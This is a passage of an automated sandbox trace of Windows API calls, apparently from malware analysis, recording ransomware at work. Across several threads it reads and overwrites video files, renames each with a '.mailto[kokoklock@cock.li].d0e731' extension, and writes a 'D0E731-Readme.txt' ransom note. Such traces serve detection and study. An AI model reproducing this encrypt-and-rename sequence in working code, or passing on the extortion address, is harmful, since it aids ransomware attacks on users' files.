BaseAddress=0x349e2d0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x2873f83c*=0x8, lpOverlapped=0x0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x2873f854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x2873f854*, lpNumberOfBytesWritten=0x2873f83c*=0x4, lpOverlapped=0x0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2873f83c*=0x4, lpOverlapped=0x0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2873f83c*=0x6c, lpOverlapped=0x0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x2873f83c*=0x20, lpOverlapped=0x0) returned 1 [0082.828] WriteFile (in: hFile=0x660, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2873f83c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2873f83c*=0x4, lpOverlapped=0x0) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.828] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.828] CloseHandle (hObject=0x660) returned 1 [0082.828] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x116) returned 0x33e2008 [0082.828] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" [0082.828] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" [0082.828] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\gnw x.swf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.950] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.950] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0084.950] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\gNw X.swf", dwFileAttributes=0x20) returned 0 [0084.950] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a338 [0084.950] wcscpy (in: _Dest=0x348a338, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0084.950] wcscat (in: _Dest=0x348a338, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0084.951] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0xffffffff [0084.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.969] WriteFile (in: hFile=0x328, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2873f838, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2873f838*=0x481, lpOverlapped=0x0) returned 1 [0084.973] CloseHandle (hObject=0x328) returned 1 [0084.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a338) returned 1 [0084.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34947b8) returned 1 [0084.974] RtlExitUserThread (Status=0x1) Thread: id = 1141 os_tid = 0xd68 [0082.829] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv")) returned 0x20 [0082.829] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv", dwFileAttributes=0x20) returned 1 [0082.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0082.830] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x287bfb7c | out: lpFileSize=0x287bfb7c*=34779) returned 1 [0082.830] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x87d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.830] ReadFile (in: hFile=0x6e8, lpBuffer=0x287bfb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x287bfb50*, lpNumberOfBytesRead=0x287bfb4c*=0x4, lpOverlapped=0x0) returned 1 [0082.831] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.831] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d1e0 [0082.831] NtQuerySystemTime (in: CurrentTime=0x287bfb28 | out: CurrentTime=0x287bfb28*=132121176407266543) returned 0x0 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x139e6a6c [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xb9bff6d2 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x5c4dfa78 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x67360850 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x92eb071b [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x60dc879c [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xc1b67531 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xdb0a41e1 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xb7eeb03f [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x448850b4 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xf88379e8 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xe1ec6584 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x467e66c3 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x1d89deb9 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x105dfe48 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xb780b26 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x3f4aa553 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xc48217d3 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xd7455d12 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xc6d40647 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x2f56177e [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xca6c4375 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x1b6233af [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x7b655fed [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x2f2e7191 [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xeb147e8a [0082.831] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xf48b2d7d [0082.832] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x8fa7c43f [0082.832] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x76f91662 [0082.832] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0xe6d57ee7 [0082.832] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x559d658d [0082.832] RtlRandom (in: Seed=0x287bfb34 | out: Seed=0x287bfb34) returned 0x6fd07bd1 [0082.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.843] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.843] ReadFile (in: hFile=0x6e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x287bfb00, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x287bfb00*=0x4096, lpOverlapped=0x0) returned 1 [0082.843] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0082.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd08 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cd08) returned 1 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.844] WriteFile (in: hFile=0x6e8, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x287bfb00, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x287bfb00*=0x4096, lpOverlapped=0x0) returned 1 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0082.844] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x87db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.844] WriteFile (in: hFile=0x6e8, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x287bfb38, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x287bfb38*=0x20, lpOverlapped=0x0) returned 1 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.844] WriteFile (in: hFile=0x6e8, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x287bfb4c*=0x8, lpOverlapped=0x0) returned 1 [0082.844] WriteFile (in: hFile=0x6e8, lpBuffer=0x287bfb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x287bfb64*, lpNumberOfBytesWritten=0x287bfb4c*=0x4, lpOverlapped=0x0) returned 1 [0082.844] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x287bfb4c*=0x4, lpOverlapped=0x0) returned 1 [0082.845] WriteFile (in: hFile=0x6e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x287bfb4c*=0x6c, lpOverlapped=0x0) returned 1 [0082.845] WriteFile (in: hFile=0x6e8, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x287bfb4c*=0x20, lpOverlapped=0x0) returned 1 [0082.845] WriteFile (in: hFile=0x6e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x287bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x287bfb4c*=0x4, lpOverlapped=0x0) returned 1 [0082.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.845] CloseHandle (hObject=0x6e8) returned 1 [0082.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12a) returned 0x3420910 [0082.845] wcscpy (in: _Dest=0x3420910, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" [0082.845] wcscat (in: _Dest=0x3420910, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" [0082.845] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\ncwp zw_n0twsr1.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.975] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420910) returned 1 [0084.975] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\Ncwp zw_N0TWsR1.flv", dwFileAttributes=0x20) returned 0 [0084.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x348a248 [0084.975] wcscpy (in: _Dest=0x348a248, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0084.975] wcscat (in: _Dest=0x348a248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0084.975] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0084.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a248) returned 1 [0084.975] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b058) returned 1 [0084.975] RtlExitUserThread (Status=0x1) Thread: id = 1142 os_tid = 0xd70 [0082.849] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi")) returned 0x20 [0082.850] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi", dwFileAttributes=0x20) returned 1 [0082.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0082.850] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x2883fa48 | out: lpFileSize=0x2883fa48*=48416) returned 1 [0082.850] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0xbd1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.850] ReadFile (in: hFile=0x6ec, lpBuffer=0x2883fa1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2883fa18, lpOverlapped=0x0 | out: lpBuffer=0x2883fa1c*, lpNumberOfBytesRead=0x2883fa18*=0x4, lpOverlapped=0x0) returned 1 [0082.851] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cd08 [0082.851] NtQuerySystemTime (in: CurrentTime=0x2883f9f4 | out: CurrentTime=0x2883f9f4*=132121176407423153) returned 0x0 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xb528f893 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xded23506 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xdb2e45ad [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xe90f983c [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x24c2d2ff [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xf5f4ba79 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x11a36788 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xcedeeffc [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xc289dfcf [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x8ef63572 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xf7540c88 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x36a387b6 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0x877fc6ce [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xfdb4d1d7 [0082.851] RtlRandom (in: Seed=0x2883fa00 | out: Seed=0x2883fa00) returned 0xd2a40bc6 [0082.851] 